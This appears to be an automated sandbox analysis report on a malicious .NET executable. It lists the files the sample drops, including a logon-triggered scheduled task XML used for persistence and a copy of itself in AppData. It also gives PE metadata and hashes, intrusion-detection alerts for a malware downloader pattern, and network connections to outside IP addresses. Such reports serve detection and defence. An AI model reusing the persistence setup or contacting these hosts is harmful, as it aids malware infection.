                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brvor20s.1ou.psm1

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):60
                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_deto2wjr.hnr.ps1

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):60
                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oumrm3wq.et4.ps1

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):60
                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                            C:\Users\user\AppData\Local\Temp\tmp5055.tmp

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            File Type:XML 1.0 document, ASCII text
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):1596
                                                                                                                                                            Entropy (8bit):5.103196158679087
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtL7Lxvn:cge7QYrFdOFzOzN33ODOiDdKrsuTn1v
                                                                                                                                                            MD5:2CC2A64F2CAB84D402363EA28B05D026
                                                                                                                                                            SHA1:B1C53BDCBC51EC10205613D2BD60E5F11B0B0DB9
                                                                                                                                                            SHA-256:AF4A3CAE2CE7C9FFF9FDDF61CEAF609CF43295837CB8C100F96414F06CAC8400
                                                                                                                                                            SHA-512:D3CB69E56A280DD281F87BCB58F2FDAE3317C88684552B2A0DF3A2A4832601DC8D0E7C6C6055740C24A33CF4D232E63ADDCED70B732AEB503D2F403CD81E0A7E
                                                                                                                                                            Malicious:true
                                                                                                                                                            Preview:<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

                                                                                                                                                            C:\Users\user\AppData\Local\Temp\tmp619B.tmp

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            File Type:XML 1.0 document, ASCII text
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):1596
                                                                                                                                                            Entropy (8bit):5.103196158679087
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtL7Lxvn:cge7QYrFdOFzOzN33ODOiDdKrsuTn1v
                                                                                                                                                            MD5:2CC2A64F2CAB84D402363EA28B05D026
                                                                                                                                                            SHA1:B1C53BDCBC51EC10205613D2BD60E5F11B0B0DB9
                                                                                                                                                            SHA-256:AF4A3CAE2CE7C9FFF9FDDF61CEAF609CF43295837CB8C100F96414F06CAC8400
                                                                                                                                                            SHA-512:D3CB69E56A280DD281F87BCB58F2FDAE3317C88684552B2A0DF3A2A4832601DC8D0E7C6C6055740C24A33CF4D232E63ADDCED70B732AEB503D2F403CD81E0A7E
                                                                                                                                                            Malicious:false
                                                                                                                                                            Preview:<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

                                                                                                                                                            C:\Users\user\AppData\Roaming\EYDNKhhJr.exe

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):782336
                                                                                                                                                            Entropy (8bit):7.671297344357169
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:12288:2jlIpHtMPku+l0CPPZlhn/3EHE69r3WJ/Ggh6Yz6Co7bbJ/k5ggzBv7V:2jlIhSPd+p9/AEESd5z5o7b9XgzBZ
                                                                                                                                                            MD5:773778752662F5A81D6B7A2015890B79
                                                                                                                                                            SHA1:662BE6BED03EC5AFAC72029459157D7908797622
                                                                                                                                                            SHA-256:86F02FD88DC04B311EC6AE30FC2E4FC8BE6884F24654A5103B7FB85F7631F99C
                                                                                                                                                            SHA-512:6F3CC620230339AA6CA7F988342E463FEFFCA6C2BE0023CB96879A6FE161A9868F0F702027BE0487942C2FC2130A026F93F8EFD5F7FF9CC0CBFB18FCFF6BC598
                                                                                                                                                            Malicious:true
                                                                                                                                                            Antivirus:
                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 74%
                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Zg..............0......$......R.... ........@.. .......................`............@.....................................O........!...................@....................................................... ............... ..H............text...X.... ...................... ..`.rsrc....!......."..................@..@.reloc.......@......................@..B................4.......H.......d1... .......... R...............................................0...........(........}.....s....}.....r...p(....}.....~.... ....s....}.....{....o.... ......o......{.....o......{....o.....{....o......{.....{....o.....*f........s....s....(.....*~..{....r...po......{....o.....*.0..}.........{....r9..po......+7...{.....|....o ...}....(!....{....o".....{.....o........+.&..{....rS..po........&..{....rS..po........*...........>P..........>f.........}.....(#.......s....}....

                                                                                                                                                            C:\Users\user\AppData\Roaming\EYDNKhhJr.exe:Zone.Identifier

                                                                                                                                                            Download File
                                                                                                                                                            Process:C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                                                            Category:dropped
                                                                                                                                                            Size (bytes):26
                                                                                                                                                            Entropy (8bit):3.95006375643621
                                                                                                                                                            Encrypted:false
                                                                                                                                                            SSDEEP:3:ggPYV:rPYV
                                                                                                                                                            MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                            Malicious:true
                                                                                                                                                            Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                            Static File Info

                                                                                                                                                            General

                                                                                                                                                            File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                            Entropy (8bit):7.671297344357169
                                                                                                                                                            TrID:
                                                                                                                                                            • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                                                                                                            • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                                                                                                            • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                                                                                            • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                                                                            • DOS Executable Generic (2002/1) 0.01%
                                                                                                                                                            File name:FT876567090.exe
                                                                                                                                                            File size:782'336 bytes
                                                                                                                                                            MD5:773778752662f5a81d6b7a2015890b79
                                                                                                                                                            SHA1:662be6bed03ec5afac72029459157d7908797622
                                                                                                                                                            SHA256:86f02fd88dc04b311ec6ae30fc2e4fc8be6884f24654a5103b7fb85f7631f99c
                                                                                                                                                            SHA512:6f3cc620230339aa6ca7f988342e463feffca6c2be0023cb96879a6fe161a9868f0f702027be0487942c2fc2130a026f93f8efd5f7ff9cc0cbfb18fcff6bc598
                                                                                                                                                            SSDEEP:12288:2jlIpHtMPku+l0CPPZlhn/3EHE69r3WJ/Ggh6Yz6Co7bbJ/k5ggzBv7V:2jlIhSPd+p9/AEESd5z5o7b9XgzBZ
                                                                                                                                                            TLSH:16F4CFC03B26B701DEAC7934853AEDBC52682E78700479F36EED2B5776D9112AA1CF44
                                                                                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Zg..............0......$......R.... ........@.. .......................`............@................................

                                                                                                                                                            File Icon

                                                                                                                                                            Icon Hash:37c38329a3924d33

                                                                                                                                                            Static PE Info

                                                                                                                                                            General

                                                                                                                                                            Entrypoint:0x4be952
                                                                                                                                                            Entrypoint Section:.text
                                                                                                                                                            Digitally signed:false
                                                                                                                                                            Imagebase:0x400000
                                                                                                                                                            Subsystem:windows gui
                                                                                                                                                            Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                                            Time Stamp:0x675AB1C4 [Thu Dec 12 09:49:56 2024 UTC]
                                                                                                                                                            TLS Callbacks:
                                                                                                                                                            CLR (.Net) Version:
                                                                                                                                                            OS Version Major:4
                                                                                                                                                            OS Version Minor:0
                                                                                                                                                            File Version Major:4
                                                                                                                                                            File Version Minor:0
                                                                                                                                                            Subsystem Version Major:4
                                                                                                                                                            Subsystem Version Minor:0
                                                                                                                                                            Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                                                                            Entrypoint Preview

                                                                                                                                                            Instruction
                                                                                                                                                            jmp dword ptr [00402000h]
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                            add byte ptr [eax], al

                                                                                                                                                            Data Directories

                                                                                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0xbe9000x4f.text
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0xc00000x21e0.rsrc
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0xc40000xc.reloc
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                            Sections

                                                                                                                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                            .text0x20000xbc9580xbca00923a0c2aee2680c16034d57cfddfe8acFalse0.8792880736414844data7.6723614059541525IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                            .rsrc0xc00000x21e00x2200ea9146afed05c31e46910f7e1f941388False0.9306066176470589data7.619574284347448IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                            .reloc0xc40000xc0x200f1336c8d8a8357418dcdbfa58806e13cFalse0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                            Resources

                                                                                                                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                            RT_ICON0xc00c80x1e1fPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9939048113085203
                                                                                                                                                            RT_GROUP_ICON0xc1ef80x14data1.05
                                                                                                                                                            RT_VERSION0xc1f1c0x2c0data0.4616477272727273

                                                                                                                                                            Imports

                                                                                                                                                            DLLImport
                                                                                                                                                            mscoree.dll_CorExeMain

                                                                                                                                                            Network Behavior

                                                                                                                                                            Suricata IDS Alerts

                                                                                                                                                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                            2024-12-16T14:23:10.119780+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.649720158.101.44.24280TCP
                                                                                                                                                            2024-12-16T14:23:12.307348+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.649720158.101.44.24280TCP
                                                                                                                                                            2024-12-16T14:23:13.225114+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.649731158.101.44.24280TCP
                                                                                                                                                            2024-12-16T14:23:13.888029+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.649733104.21.67.152443TCP
                                                                                                                                                            2024-12-16T14:23:15.260415+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.649742158.101.44.24280TCP
                                                                                                                                                            2024-12-16T14:23:15.338570+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.649731158.101.44.24280TCP
                                                                                                                                                            2024-12-16T14:23:16.983370+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.649749104.21.67.152443TCP
                                                                                                                                                            2024-12-16T14:23:18.321124+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.649756158.101.44.24280TCP
                                                                                                                                                            2024-12-16T14:23:22.903563+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.649769104.21.67.152443TCP
                                                                                                                                                            2024-12-16T14:23:32.172539+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.649805104.21.67.152443TCP
                                                                                                                                                            2024-12-16T14:23:38.236425+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.649826104.21.67.152443TCP

                                                                                                                                                            Network Port Distribution

                                                                                                                                                            TCP Packets

                                                                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                            Dec 16, 2024 14:23:08.166702032 CET4972080192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:08.286672115 CET8049720158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:08.286798954 CET4972080192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:08.287204027 CET4972080192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:08.407398939 CET8049720158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:09.491333008 CET8049720158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:09.530982971 CET4972080192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:09.650895119 CET8049720158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:09.905802965 CET8049720158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:10.088124990 CET49730443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:10.088224888 CET44349730104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:10.088532925 CET49730443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:10.094639063 CET49730443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:10.094677925 CET44349730104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:10.119780064 CET4972080192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:11.331429958 CET44349730104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:11.331558943 CET49730443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:11.335285902 CET49730443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:11.335298061 CET44349730104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:11.335649014 CET44349730104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:11.416667938 CET49730443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:11.463130951 CET4973180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:11.482331038 CET49730443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:11.527324915 CET44349730104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:11.582933903 CET8049731158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:11.583112001 CET4973180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:11.583290100 CET4973180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:11.703015089 CET8049731158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:11.835628033 CET44349730104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:11.835695028 CET44349730104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:11.835763931 CET49730443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:11.841908932 CET49730443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:11.846127033 CET4972080192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:11.965986013 CET8049720158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:12.221487999 CET8049720158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:12.223634005 CET49733443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:12.223664045 CET44349733104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:12.223938942 CET49733443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:12.224317074 CET49733443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:12.224334955 CET44349733104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:12.307348013 CET4972080192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:12.790148973 CET8049731158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:12.794301033 CET4973180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:12.914167881 CET8049731158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:13.168008089 CET8049731158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:13.219985962 CET49741443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:13.220025063 CET44349741104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:13.220165014 CET49741443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:13.225114107 CET4973180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:13.235168934 CET49741443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:13.235230923 CET44349741104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:13.440738916 CET44349733104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:13.448482990 CET49733443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:13.448529005 CET44349733104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:13.888062000 CET44349733104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:13.888149977 CET44349733104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:13.888214111 CET49733443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:13.888710976 CET49733443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:13.892834902 CET4972080192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:13.893985987 CET4974280192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:14.012823105 CET8049720158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:14.012887955 CET4972080192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:14.013750076 CET8049742158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:14.013837099 CET4974280192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:14.013988018 CET4974280192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:14.133753061 CET8049742158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:14.447082996 CET44349741104.21.67.152192.168.2.6
